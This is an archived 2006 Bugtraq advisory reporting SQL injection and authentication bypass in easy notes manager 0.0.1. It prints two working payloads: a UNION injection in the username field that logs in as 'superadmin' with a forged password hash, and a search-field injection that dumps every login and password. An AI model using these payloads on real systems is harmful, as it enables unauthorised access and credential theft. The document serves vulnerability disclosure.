bugtraq - easy notes manager sql injection and authentication bypass

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: 29 Oct 2006 04:17:11 -0000
From: poplix@...uasia.org
To: bugtraq@...urityfocus.com
Subject: easy notes manager sql injection and authentication bypass

easy notes manager (eNM) version 0.0.1, available at http://217.172.179.216/evandor/html/index.php?id=103 is affected by multiple sql injection vulnerability due to a missing check of the user supplied input.
An attacker can bypass the authentication procedure and get a full dump of the database tables.

No patches are availble but a possible solution is change the TABLEPREFIX variable in config file with a very random one and suppress all error messages (and eventually downgrade mysql5 to mysql4).
The vendor has been warned.

proof of concept to bypass authentication:
username: dontcare' and 0=1 union select id,login,'0cc175b9c0f1b6a831c399e269772661',grp,salutation,firstname,lastname,email from users where login='superadmin
password: a

proof of concept to get a list of all users and passwords:
go to search page and search for: "dontcare')) union select 0,login,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users -- "

cheers
-p